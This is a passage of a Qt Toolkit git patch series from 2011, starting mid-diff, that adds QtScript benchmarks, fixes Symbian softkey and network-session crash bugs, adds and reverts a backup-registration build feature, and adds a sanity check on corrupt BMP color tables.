+= $$CONTEXT2D_EXAMPLE_DIR/qcontext2dcanvas.h \ + $$CONTEXT2D_EXAMPLE_DIR/context2d.h \ + $$CONTEXT2D_EXAMPLE_DIR/domimage.h \ + $$CONTEXT2D_EXAMPLE_DIR/environment.h + +SOURCES += $$CONTEXT2D_EXAMPLE_DIR/qcontext2dcanvas.cpp \ + $$CONTEXT2D_EXAMPLE_DIR/context2d.cpp \ + $$CONTEXT2D_EXAMPLE_DIR/domimage.cpp \ + $$CONTEXT2D_EXAMPLE_DIR/environment.cpp + +RESOURCES += $$CONTEXT2D_EXAMPLE_DIR/context2d.qrc + +QT += script diff --git a/tests/benchmarks/script/context2d/tst_context2d.cpp b/tests/benchmarks/script/context2d/tst_context2d.cpp new file mode 100644 index 0000000..8401590 --- /dev/null +++ b/tests/benchmarks/script/context2d/tst_context2d.cpp @@ -0,0 +1,177 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include +#include +#include +#include +#include "context2d.h" +#include "environment.h" +#include "qcontext2dcanvas.h" + +static QString readFile(const QString &filename) +{ + QFile file(filename); + if (!file.open(QFile::ReadOnly)) + return QString(); + QTextStream stream(&file); + stream.setCodec("UTF-8"); + return stream.readAll(); +} + +class tst_Context2D : public QObject +{ + Q_OBJECT + +public: + tst_Context2D(); + ~tst_Context2D(); + +private slots: + void singleExecution_data(); + void singleExecution(); + void repeatedExecution_data(); + void repeatedExecution(); + +private: + void newEnvironment(); + +private: + QDir testsDir; + Environment *m_env; + QContext2DCanvas *m_canvas; +}; + +tst_Context2D::tst_Context2D() + : m_env(0), m_canvas(0) +{ + testsDir = QDir(":/scripts"); + if (!testsDir.exists()) + qWarning("*** no scripts/ dir!"); +} + +tst_Context2D::~tst_Context2D() +{ + delete m_canvas; + delete m_env; +} + +void tst_Context2D::newEnvironment() +{ + delete m_canvas; + delete m_env; + m_env = new Environment(); + Context2D *context = new Context2D(m_env); + context->setSize(150, 150); // Hard-coded in many of the scripts. + m_canvas = new QContext2DCanvas(context, m_env); + m_canvas->setFixedSize(context->size()); + m_canvas->setObjectName("tutorial"); // Acts as the DOM element ID. + m_env->addCanvas(m_canvas); +} + +void tst_Context2D::singleExecution_data() +{ + QTest::addColumn("testName"); + QFileInfoList testFileInfos = testsDir.entryInfoList(QStringList() << "*.js", QDir::Files); + foreach (QFileInfo tfi, testFileInfos) { + QString name = tfi.baseName(); + QTest::newRow(name.toLatin1().constData()) << name; + } +} + +void tst_Context2D::singleExecution() +{ + QFETCH(QString, testName); + QString script = readFile(testsDir.absoluteFilePath(testName + ".js")); + QVERIFY(!script.isEmpty()); + + newEnvironment(); + QBENCHMARK { + m_env->evaluate(script, testName); + // Some of the scripts (e.g. plasma.js) merely start a timer and do + // the actual drawing in the timer event. Trigger the timers now to + // ensure that the real work is done. + m_env->triggerTimers(); + } + QVERIFY(!m_env->engine()->hasUncaughtException()); +} + +void tst_Context2D::repeatedExecution_data() +{ + // We look for scripts that register an interval timer. + // Such scripts run a function every n milliseconds to update the canvas. + // The benchmark will execute this function repeatedly, which can allow + // us to observe potential effects of profiling-based JIT optimizations. + QTest::addColumn("testName"); + QTest::addColumn("script"); + QFileInfoList testFileInfos = testsDir.entryInfoList(QStringList() << "*.js", QDir::Files); + foreach (QFileInfo tfi, testFileInfos) { + QString script = readFile(tfi.absoluteFilePath()); + QString name = tfi.baseName(); + newEnvironment(); + m_env->evaluate(script, name); + if (m_env->engine()->hasUncaughtException()) + continue; + if (m_env->hasIntervalTimers()) + QTest::newRow(name.toLatin1().constData()) << name << script; + } +} + +void tst_Context2D::repeatedExecution() +{ + QFETCH(QString, testName); + QFETCH(QString, script); + + newEnvironment(); + m_env->evaluate(script, testName); + QBENCHMARK { + // Trigger the update function repeatedly, effectively + // performing several frames of animation. + for (int i = 0; i < 16; ++i) + m_env->triggerTimers(); + } + QVERIFY(!m_env->engine()->hasUncaughtException()); +} + +QTEST_MAIN(tst_Context2D) +#include "tst_context2d.moc" diff --git a/tests/benchmarks/script/script.pro b/tests/benchmarks/script/script.pro index b0770ca..da7a5a1 100644 --- a/tests/benchmarks/script/script.pro +++ b/tests/benchmarks/script/script.pro @@ -1,5 +1,6 @@ TEMPLATE = subdirs SUBDIRS = \ + context2d \ qscriptclass \ qscriptengine \ qscriptvalue \ @@ -13,4 +14,4 @@ TRUSTED_BENCHMARKS += \ qscriptvalue \ qscriptengine -include(../trusted-benchmarks.pri) \ No newline at end of file +include(../trusted-benchmarks.pri) -- cgit v0.12 From b0c109ff2479dd8f4474b6c5ad537168224a5dc4 Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Fri, 4 Feb 2011 09:39:10 +0100 Subject: Add QScriptClass/ByteArray benchmark Reuse the ByteArray implementation from examples/script/customclass and create a benchmark out of it. This benchmark actually measures a meaningful, real-world use case for QScriptClass. Task-number: QTBUG-17192 Reviewed-by: Jedrzej Nowacki --- .../qscriptclass_bytearray.pro | 10 ++ .../qscriptclass_bytearray.qrc | 5 + .../qscriptclass_bytearray/tests/construct-copy.js | 3 + .../qscriptclass_bytearray/tests/construct.js | 2 + .../script/qscriptclass_bytearray/tests/for-in.js | 3 + .../qscriptclass_bytearray/tests/get-element.js | 3 + .../qscriptclass_bytearray/tests/get-length.js | 3 + .../script/qscriptclass_bytearray/tests/mid.js | 3 + .../qscriptclass_bytearray/tests/set-element.js | 3 + .../qscriptclass_bytearray/tests/set-length.js | 3 + .../script/qscriptclass_bytearray/tests/sum.js | 8 ++ .../script/qscriptclass_bytearray/tests/trimmed.js | 3 + .../tst_qscriptclass_bytearray.cpp | 109 +++++++++++++++++++++ tests/benchmarks/script/script.pro | 1 + 14 files changed, 159 insertions(+) create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.pro create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.qrc create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/construct-copy.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/construct.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/for-in.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/get-element.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/get-length.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/mid.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/set-element.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/set-length.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/sum.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/trimmed.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tst_qscriptclass_bytearray.cpp diff --git a/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.pro b/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.pro new file mode 100644 index 0000000..d64f705 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.pro @@ -0,0 +1,10 @@ +load(qttest_p4) +TEMPLATE = app +TARGET = tst_bench_qscriptclass_bytearray + +SOURCES += tst_qscriptclass_bytearray.cpp +RESOURCES += qscriptclass_bytearray.qrc + +include($$QT_SOURCE_TREE/examples/script/customclass/bytearrayclass.pri) + +QT = core script diff --git a/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.qrc b/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.qrc new file mode 100644 index 0000000..a894ee5 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.qrc @@ -0,0 +1,5 @@ + + + tests + + diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/construct-copy.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/construct-copy.js new file mode 100644 index 0000000..9c03871 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/construct-copy.js @@ -0,0 +1,3 @@ +ba = new ByteArray(123); +for (i = 0; i < 5000; ++i) + new ByteArray(ba); diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/construct.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/construct.js new file mode 100644 index 0000000..2c2bbf5 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/construct.js @@ -0,0 +1,2 @@ +for (i = 0; i < 5000; ++i) + new ByteArray(123); diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/for-in.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/for-in.js new file mode 100644 index 0000000..46bc9f3 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/for-in.js @@ -0,0 +1,3 @@ +ba = new ByteArray(8000); +for (var p in ba) + ; diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/get-element.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/get-element.js new file mode 100644 index 0000000..9f6a503 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/get-element.js @@ -0,0 +1,3 @@ +ba = new ByteArray(123); +for (i = 0; i < 10000; ++i) + ba[10]; diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/get-length.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/get-length.js new file mode 100644 index 0000000..5de2f58 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/get-length.js @@ -0,0 +1,3 @@ +ba = new ByteArray(123); +for (i = 0; i < 10000; ++i) + ba.length; diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/mid.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/mid.js new file mode 100644 index 0000000..752d875 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/mid.js @@ -0,0 +1,3 @@ +ba = new ByteArray(123); +for (i = 0; i < 3000; ++i) + ba.mid(50); diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/set-element.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/set-element.js new file mode 100644 index 0000000..4883765 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/set-element.js @@ -0,0 +1,3 @@ +ba = new ByteArray(123); +for (i = 0; i < 10000; ++i) + ba[10] = 123; diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/set-length.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/set-length.js new file mode 100644 index 0000000..18c9f59 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/set-length.js @@ -0,0 +1,3 @@ +ba = new ByteArray(); +for (i = 0; i < 10000; ++i) + ba.length = 123; diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/sum.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/sum.js new file mode 100644 index 0000000..096937d --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/sum.js @@ -0,0 +1,8 @@ +function sum(ba) { + var result = 0; + for (var i = 0; i < ba.length; ++i) + result += ba[i]; + return result; +} + +sum(new ByteArray(10000)); diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/trimmed.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/trimmed.js new file mode 100644 index 0000000..967dba6 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/trimmed.js @@ -0,0 +1,3 @@ +ba = new ByteArray(123); +for (i = 0; i < 3000; ++i) + ba.trimmed(); diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tst_qscriptclass_bytearray.cpp b/tests/benchmarks/script/qscriptclass_bytearray/tst_qscriptclass_bytearray.cpp new file mode 100644 index 0000000..351adc8 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tst_qscriptclass_bytearray.cpp @@ -0,0 +1,109 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include +#include +#include +#include +#include "bytearrayclass.h" + +static QString readFile(const QString &filename) +{ + QFile file(filename); + if (!file.open(QFile::ReadOnly)) + return QString(); + QTextStream stream(&file); + stream.setCodec("UTF-8"); + return stream.readAll(); +} + +class tst_QScriptClass_ByteArray : public QObject +{ + Q_OBJECT + +public: + tst_QScriptClass_ByteArray(); + +private slots: + void benchmark_data(); + void benchmark(); + +private: + QDir testsDir; +}; + +tst_QScriptClass_ByteArray::tst_QScriptClass_ByteArray() +{ + testsDir = QDir(":/tests"); + if (!testsDir.exists()) + qWarning("*** no tests/ dir!"); +} + +void tst_QScriptClass_ByteArray::benchmark_data() +{ + QTest::addColumn("testName"); + QFileInfoList testFileInfos = testsDir.entryInfoList(QStringList() << "*.js", QDir::Files); + foreach (QFileInfo tfi, testFileInfos) { + QString name = tfi.baseName(); + QTest::newRow(name.toLatin1().constData()) << name; + } +} + +void tst_QScriptClass_ByteArray::benchmark() +{ + QFETCH(QString, testName); + QString testContents = readFile(testsDir.absoluteFilePath(testName + ".js")); + QVERIFY(!testContents.isEmpty()); + + QScriptEngine eng; + ByteArrayClass *baClass = new ByteArrayClass(&eng); + eng.globalObject().setProperty("ByteArray", baClass->constructor()); + + QBENCHMARK { + eng.evaluate(testContents); + } + QVERIFY(!eng.hasUncaughtException()); +} + +QTEST_MAIN(tst_QScriptClass_ByteArray) +#include "tst_qscriptclass_bytearray.moc" diff --git a/tests/benchmarks/script/script.pro b/tests/benchmarks/script/script.pro index da7a5a1..d4fc822 100644 --- a/tests/benchmarks/script/script.pro +++ b/tests/benchmarks/script/script.pro @@ -2,6 +2,7 @@ TEMPLATE = subdirs SUBDIRS = \ context2d \ qscriptclass \ + qscriptclass_bytearray \ qscriptengine \ qscriptvalue \ sunspider \ -- cgit v0.12 From 231dcfc8b6a90c3a0ab4869e0a9ab45403fd9a8c Mon Sep 17 00:00:00 2001 From: axis Date: Thu, 3 Feb 2011 15:45:00 +0100 Subject: Fixed a bug where the softkeys would leave a see-through "hole". In cases where the widget was created from the event loop instead of main(), the middle three softkeys would not get the right visibility and would leave a "hole" in the application where one could see what was beneath it. It could also be clicked, which would bring the app to the background which was really annoying. Fixed by setting the visibility manually upon creation. It should still be possible to alter the visibility of the toolbar manually after the widget creation, if someone requires that. Task: QTBUG-16578 RevBy: Gareth Stockwell AutoTest: N/A, but tested with various combinations of fullscreen, non-fullscreen and softkey visibility modes. No regressions. --- src/gui/kernel/qwidget_s60.cpp | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/src/gui/kernel/qwidget_s60.cpp b/src/gui/kernel/qwidget_s60.cpp index 8e4e99a..6af809f 100644 --- a/src/gui/kernel/qwidget_s60.cpp +++ b/src/gui/kernel/qwidget_s60.cpp @@ -54,6 +54,7 @@ #ifdef Q_WS_S60 #include +#include #include #endif @@ -508,6 +509,18 @@ void QWidgetPrivate::show_sys() Q_ASSERT(!oldCba); S60->setButtonGroupContainer(cba); + // If the creation of the first widget is delayed, for example by doing it + // inside the event loop, S60 somehow "forgets" to set the visibility of the + // toolbar (the three middle softkeys) when you flip the phone over, so we + // need to do it ourselves to avoid a "hole" in the application, even though + // Qt itself does not use the toolbar directly.. + CAknAppUi *appui = dynamic_cast(CEikonEnv::Static()->AppUi()); + if (appui) { + CAknToolbar *toolbar = appui->PopupToolbar(); + if (toolbar && !toolbar->IsVisible()) + toolbar->SetToolbarVisibility(ETrue); + } + CEikMenuBar *menuBar = new(ELeave) CEikMenuBar; menuBar->ConstructL(ui, 0, R_AVKON_MENUPANE_EMPTY); menuBar->SetMenuType(CEikMenuBar::EMenuOptions); -- cgit v0.12 From 8fe811e14b6db6a9637a5bf6d276613786291762 Mon Sep 17 00:00:00 2001 From: Shane Kearns Date: Thu, 3 Feb 2011 12:16:35 +0000 Subject: Fix random crashes when bearer suddenly goes down 1. QNetworkSession being deleted from the closed signal caused data abort or E32User-CBase 49 panics. (both observed) 2. Potential E32User-CBase 46 panic in ConnectionProgressNotifier::StartNotifications() Reviewed-by: Aaron Tunney Reviewed-By: Markus Goetz Task-Number: QTBUG-17196 --- src/network/access/qnetworkaccessmanager.cpp | 7 ++++--- src/network/bearer/qnetworksession.cpp | 3 +++ src/network/bearer/qnetworksession.h | 3 +++ src/plugins/bearer/symbian/qnetworksession_impl.cpp | 6 +++--- 4 files changed, 13 insertions(+), 6 deletions(-) diff --git a/src/network/access/qnetworkaccessmanager.cpp b/src/network/access/qnetworkaccessmanager.cpp index ea18367..5b518de 100644 --- a/src/network/access/qnetworkaccessmanager.cpp +++ b/src/network/access/qnetworkaccessmanager.cpp @@ -1369,10 +1369,11 @@ void QNetworkAccessManagerPrivate::createSession(const QNetworkConfiguration &co networkSession = QSharedNetworkSessionManager::getSession(config); - QObject::connect(networkSession.data(), SIGNAL(opened()), q, SIGNAL(networkSessionConnected())); - QObject::connect(networkSession.data(), SIGNAL(closed()), q, SLOT(_q_networkSessionClosed())); + QObject::connect(networkSession.data(), SIGNAL(opened()), q, SIGNAL(networkSessionConnected()), Qt::QueuedConnection); + //QueuedConnection is used to avoid deleting the networkSession inside its closed signal + QObject::connect(networkSession.data(), SIGNAL(closed()), q, SLOT(_q_networkSessionClosed()), Qt::QueuedConnection); QObject::connect(networkSession.data(), SIGNAL(stateChanged(QNetworkSession::State)), - q, SLOT(_q_networkSessionStateChanged(QNetworkSession::State))); + q, SLOT(_q_networkSessionStateChanged(QNetworkSession::State)), Qt::QueuedConnection); _q_networkSessionStateChanged(networkSession->state()); } diff --git a/src/network/bearer/qnetworksession.cpp b/src/network/bearer/qnetworksession.cpp index b0b7d3d..9503553 100644 --- a/src/network/bearer/qnetworksession.cpp +++ b/src/network/bearer/qnetworksession.cpp @@ -250,6 +250,9 @@ QNetworkSession::QNetworkSession(const QNetworkConfiguration& connectionConfig, break; } } + + qRegisterMetaType(); + qRegisterMetaType(); } /*! diff --git a/src/network/bearer/qnetworksession.h b/src/network/bearer/qnetworksession.h index c51cb4f..0bca4b6 100644 --- a/src/network/bearer/qnetworksession.h +++ b/src/network/bearer/qnetworksession.h @@ -139,6 +139,9 @@ private: friend class QNetworkSessionPrivate; }; +Q_DECLARE_METATYPE(QNetworkSession::State); +Q_DECLARE_METATYPE(QNetworkSession::SessionError); + #ifndef QT_MOBILITY_BEARER QT_END_NAMESPACE #else diff --git a/src/plugins/bearer/symbian/qnetworksession_impl.cpp b/src/plugins/bearer/symbian/qnetworksession_impl.cpp index 433eef6..741f8c5 100644 --- a/src/plugins/bearer/symbian/qnetworksession_impl.cpp +++ b/src/plugins/bearer/symbian/qnetworksession_impl.cpp @@ -1552,8 +1552,8 @@ void ConnectionProgressNotifier::StartNotifications() { if (!IsActive()) { SetActive(); + iConnection.ProgressNotification(iProgress, iStatus); } - iConnection.ProgressNotification(iProgress, iStatus); } void ConnectionProgressNotifier::StopNotifications() @@ -1569,10 +1569,10 @@ void ConnectionProgressNotifier::DoCancel() void ConnectionProgressNotifier::RunL() { if (iStatus == KErrNone) { - QT_TRYCATCH_LEAVING(iOwner.handleSymbianConnectionStatusChange(iProgress().iStage, iProgress().iError)); - SetActive(); iConnection.ProgressNotification(iProgress, iStatus); + // warning, this object may be deleted in the callback - do nothing after handleSymbianConnectionStatusChange + QT_TRYCATCH_LEAVING(iOwner.handleSymbianConnectionStatusChange(iProgress().iStage, iProgress().iError)); } } -- cgit v0.12 From 4cee615df52a3d984986d07e8125d3b01973f4a9 Mon Sep 17 00:00:00 2001 From: Shane Kearns Date: Fri, 4 Feb 2011 12:06:23 +0000 Subject: Fix deployment issues with networkselftest Changed deployment in the .pro file from = to += so that the default executable deployment is not removed. Also added required symbian capabilities Reviewed-by: Markus Goetz --- tests/auto/networkselftest/networkselftest.pro | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/tests/auto/networkselftest/networkselftest.pro b/tests/auto/networkselftest/networkselftest.pro index d7cb7f3..3e680d8 100644 --- a/tests/auto/networkselftest/networkselftest.pro +++ b/tests/auto/networkselftest/networkselftest.pro @@ -6,12 +6,13 @@ QT = core network wince*: { addFiles.sources = rfc3252.txt addFiles.path = . - DEPLOYMENT = addFiles + DEPLOYMENT += addFiles DEFINES += SRCDIR=\\\"\\\" } else:symbian { addFiles.sources = rfc3252.txt addFiles.path = . - DEPLOYMENT = addFiles + DEPLOYMENT += addFiles + TARGET.CAPABILITY = NetworkServices ReadUserData } else:vxworks*: { DEFINES += SRCDIR=\\\"\\\" } else { -- cgit v0.12 From 59f440ef78d310fdf18d655b2b768b6e59786fa9 Mon Sep 17 00:00:00 2001 From: hjk Date: Fri, 4 Feb 2011 13:27:55 +0100 Subject: Fix warning about deprecated conversions of string literals to char * MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Reviewed-by: Samuel Rødal --- src/opengl/qglshaderprogram.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/opengl/qglshaderprogram.cpp b/src/opengl/qglshaderprogram.cpp index 7f41339..4598bff 100644 --- a/src/opengl/qglshaderprogram.cpp +++ b/src/opengl/qglshaderprogram.cpp @@ -261,14 +261,14 @@ bool QGLShaderPrivate::compile(QGLShader *q) log = QString::fromLatin1(logbuf); QString name = q->objectName(); - char *types[] = { + const char *types[] = { "Fragment", "Vertex", "Geometry", "" }; - char *type = types[3]; + const char *type = types[3]; if (shaderType == QGLShader::Fragment) type = types[0]; else if (shaderType == QGLShader::Vertex) -- cgit v0.12 From 10c7730877d314ec4eda6728e2d66c38beff8d62 Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Fri, 4 Feb 2011 14:10:53 +0200 Subject: Implement Symbian support for enable_backup CONFIG value The enable_backup CONFIG value can be used to generate deployment for backup registration file for an application. BACKUP_REGISTRATION_FILE variable can be used to specify a custom backup registration file. Task-number: QTBUG-17214 Reviewed-by: axis --- doc/src/development/qmake-manual.qdoc | 18 ++++++++++++++++++ mkspecs/common/symbian/backup_registration.xml | 8 ++++++++ mkspecs/features/enable_backup.prf | 15 +++++++++++++++ 3 files changed, 41 insertions(+) create mode 100644 mkspecs/common/symbian/backup_registration.xml create mode 100644 mkspecs/features/enable_backup.prf diff --git a/doc/src/development/qmake-manual.qdoc b/doc/src/development/qmake-manual.qdoc index b81d387..d1843a8 100644 --- a/doc/src/development/qmake-manual.qdoc +++ b/doc/src/development/qmake-manual.qdoc @@ -1086,6 +1086,18 @@ \tableofcontents{3} + + \target BACKUP_REGISTRATION_FILE + \section1 BACKUP_REGISTRATION_FILE + + \e {This is only used on the Symbian platform.} + + This variable can be used to specify a custom backup registration file to use + with \c enable_backup \c CONFIG value. See Symbian documentation + (\l{http://library.forum.nokia.com/index.jsp?topic=/S60_5th_Edition_Cpp_Developers_Library/GUID-35228542-8C95-4849-A73F-2B4F082F0C44/sdk/doc_source/guide/Connectivity-subsystem-guide/Connectivity/PC_Connectivity_How-To_Write_Backup_Aware_Software.html}{How-To Write Backup-aware Software}) + for more information about backup registration files and how backup + works in Symbian in general. + \target BLD_INF_RULES \section1 BLD_INF_RULES @@ -1302,6 +1314,12 @@ to work. E.g. \c{myapp_en.ts}. \bold{Note:} All languages supported by Qt are not supported by Symbian, so some \c{.ts} files may be ignored by qmake. + \row \o enable_backup \o Generates deployment for backup registration file + to enable backing up the application during device backup. By default + application binaries, resources, and all files under application private + directory and \c{C:\Data} are backed up. If a custom backup rules are + needed, \l{#BACKUP_REGISTRATION_FILE}{BACKUP_REGISTRATION_FILE} variable + can be used to specify a custom backup registration file. \endtable These options have an effect on Linux/Unix platforms: diff --git a/mkspecs/common/symbian/backup_registration.xml b/mkspecs/common/symbian/backup_registration.xml new file mode 100644 index 0000000..794e11d --- /dev/null +++ b/mkspecs/common/symbian/backup_registration.xml @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/mkspecs/features/enable_backup.prf b/mkspecs/features/enable_backup.prf new file mode 100644 index 0000000..9e81d56 --- /dev/null +++ b/mkspecs/features/enable_backup.prf @@ -0,0 +1,15 @@ +# Generate deployment for backup registration file +symbian { + isEmpty(BACKUP_REGISTRATION_FILE) { + BACKUP_REGISTRATION_FILE = $$[QT_INSTALL_DATA]/mkspecs/common/symbian/backup_registration.xml + } + + contains(TEMPLATE, app) { + backup_reg_deployment.path = /private/$$replace(TARGET.UID3, 0x,) + } else { + backup_reg_deployment.path = /private/10202D56/import/packages/$$replace(TARGET.UID3, 0x,) + } + + backup_reg_deployment.sources = $$BACKUP_REGISTRATION_FILE + DEPLOYMENT += backup_reg_deployment +} \ No newline at end of file -- cgit v0.12 From de1cfc13c66fcb35d0a211bb5136ebc25279041a Mon Sep 17 00:00:00 2001 From: Harald Fernengel Date: Fri, 4 Feb 2011 13:36:27 +0100 Subject: Don't crash when BMP color table is broken If the BMP's number of color table entries is out of bounds, we would resize our color table vector to a silly value, leading to crashes later on. If the number of color table entries is larger than 256, just stop processing the BMP since it's most probably corrupt. Task-number: QT-4534 Reviewed-by: Robert Griebl --- src/gui/image/qbmphandler.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/gui/image/qbmphandler.cpp b/src/gui/image/qbmphandler.cpp index 09c086a..6dea9d9 100644 --- a/src/gui/image/qbmphandler.cpp +++ b/src/gui/image/qbmphandler.cpp @@ -246,6 +246,8 @@ static bool read_dib_body(QDataStream &s, const BMP_INFOHDR &bi, int offset, int if (depth != 32) { ncols = bi.biClrUsed ? bi.biClrUsed : 1 << nbits; + if (ncols > 256) // sanity check - don't run out of mem if color table is broken + return false; image.setColorCount(ncols); } -- cgit v0.12 From 2b5454432f132f98a1216f1dd8163acb4800191e Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Fri, 4 Feb 2011 15:10:08 +0200 Subject: Revert "Implement Symbian support for enable_backup CONFIG value" This reverts commit 10c7730877d314ec4eda6728e2d66c38beff8d62. Maemo/Meego support for this needs to be verified before this can be added so reverting this for now. --- doc/src/development/qmake-manual.qdoc | 18 ------------------ mkspecs/common/symbian/backup_registration.xml | 8 -------- mkspecs/features/enable_backup.prf | 15 --------------- 3 files changed, 41 deletions(-) delete mode 100644 mkspecs/common/symbian/backup_registration.xml delete mode 100644 mkspecs/features/enable_backup.prf diff --git a/doc/src/development/qmake-manual.qdoc b/doc/src/development/qmake-manual.qdoc index d1843a8..b81d387 100644 --- a/doc/src/development/qmake-manual.qdoc +++ b/doc/src/development/qmake-manual.qdoc @@ -1086,18 +1086,6 @@ \tableofcontents{3} - - \target BACKUP_REGISTRATION_FILE - \section1 BACKUP_REGISTRATION_FILE - - \e {This is only used on the Symbian platform.} - - This variable can be used to specify a custom backup registration file to use - with \c enable_backup \c CONFIG value. See Symbian documentation - (\l{http://library.forum.nokia.com/index.jsp?topic=/S60_5th_Edition_Cpp_Developers_Library/GUID-35228542-8C95-4849-A73F-2B4F082F0C44/sdk/doc_source/guide/Connectivity-subsystem-guide/Connectivity/PC_Connectivity_How-To_Write_Backup_Aware_Software.html}{How-To Write Backup-aware Software}) - for more information about backup registration files and how backup - works in Symbian in general. - \target BLD_INF_RULES \section1 BLD_INF_RULES @@ -1314,12 +1302,6 @@ to work. E.g. \c{myapp_en.ts}. \bold{Note:} All languages supported by Qt are not supported by Symbian, so some \c{.ts} files may be ignored by qmake. - \row \o enable_backup \o Generates deployment for backup registration file - to enable backing up the application during device backup. By default - application binaries, resources, and all files under application private - directory and \c{C:\Data} are backed up. If a custom backup rules are - needed, \l{#BACKUP_REGISTRATION_FILE}{BACKUP_REGISTRATION_FILE} variable - can be used to specify a custom backup registration file. \endtable These options have an effect on Linux/Unix platforms: diff --git a/mkspecs/common/symbian/backup_registration.xml b/mkspecs/common/symbian/backup_registration.xml deleted file mode 100644 index 794e11d..0000000 --- a/mkspecs/common/symbian/backup_registration.xml +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - - 